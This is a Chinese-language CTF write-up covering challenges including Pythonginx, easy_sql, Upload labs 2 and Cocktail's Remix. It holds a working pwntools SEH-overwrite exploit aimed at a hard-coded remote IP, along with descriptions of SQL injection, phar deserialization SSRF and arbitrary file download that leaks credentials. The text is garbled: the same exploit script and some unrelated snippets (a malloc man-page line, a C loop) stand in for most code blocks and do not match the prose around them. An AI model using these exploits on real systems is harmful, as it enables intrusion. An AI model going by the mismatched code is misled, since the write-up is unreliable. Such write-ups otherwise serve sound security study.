from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
3
所以我们就可以写脚本来一键getshell了
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
4
最终得到flag
0x03 Pythonginx
右键直接看到题目的源代码(完好格式)
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
5
看到这个代码立马想到最近blackhat大会上公布的几个trick,具体链接如下
https://bugs.python.org/issue36742
https://bugs.python.org/issue36216
网页源码的注释上也有提示
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
6
所以我们结合上面的信息,来构造payload如下:
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
7
此处用于构造c的字符来源
https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols
经过一番fuzz,在配置文件中读到flag的路径和名称
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
8
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
9
最终读到flag
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
0
如果你的字典不够给力,fuzz不到的话,不妨试试这个
https://github.com/zer0yu/Berserker/blob/master/webfuzz/fi/lfi.txt
0x04 easy_sql
显示随便测了一下,发现一般会有以下四种返回结果
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
1
可以看到字符长度是有限制的,而且过滤了一些关键词
之后fuzz测试的过程中发现是堆叠注入
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
2
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
3
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
4
所以最后解决方法是
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
5
别问,问就是fuzz
https://github.com/zer0yu/Berserker/blob/master/webfuzz/sqli/sql_fuzz.txt
0x05 Upload labs 2
去看看你自己到底传了个啥 http://47.111.59.243:9025/ 交flag时去掉引号
题目有附件,所以是一个代码审计题目,先看最终怎么可以getflag,发现有对应的函数,在admin.php
中
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
6
而且还限制了必须是本地来访问这个admin.php
文件
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
7
所以目标很明确,就是要ssrf的点来触发这个,从而把flag发给我
但是很尴尬的是在func.php
中的正则,过滤掉了phar
这个关键字,所以初看,感觉点没有办法触发,但是后面经过分析正则的话,发现使用如下方式可以bypass掉这个正则过滤,进而触发phar反序列化。
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
8
之所以想到这个phar文件,是因为这是一个上传题,而且存在一个疑似phar反序列化的触发点—func.php
中的这几行代码
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
9
具体来说就是getMIME()
函数中的finfo_open
函数
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
0
但是网站并没有公开说明这个函数可以触发phar反序列化,我是怎么知道的呢?
zsx师傅曾在他的文章《Phar与Stream Wrapper造成PHP RCE的深入挖掘》写到,只要函数在底层调用了这个php_stream_locate_url_wrapper
函数,那么就能触发phar反序列化,而finfo_open
函数在底层恰好就是使用了这个函数。(其实这个点本地盲打也能触发,所以发现的话也不难)
ext/fileinfo/fileinfo.c:517
到此为止反序列化已经完整了,那么怎么进行ssrf呢?很容易联想到之前wupco
出的easyphp中的SoapClient
,所以就可以构造如下payload
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
1
修改后缀为gif
之后上传得到上传路径来触发
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
2
直接得到flag
0x06 Cocktail’s Remix
发现回显的是 It Works!
所以尝试爆破路径
结果发现 http://47.111.59.243:9016/robots.txt
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
3
存在任意文件下载漏洞 http://47.111.59.243:9016/download.php
参数是fuzz出来的filename
(字典链接同上)
继续使用上述字典进行fuzz,筛选出有价值的信息如下
从/etc/hosts
发现是存在内网的mysql服务器的
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
4
继续读源码
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
5
看到读出了MySQL的账号密码
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
6
还有一个phpinfo页面
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
7
在页面上没有发现常规漏洞,但是发现了一个与题目名称类似的扩展模块
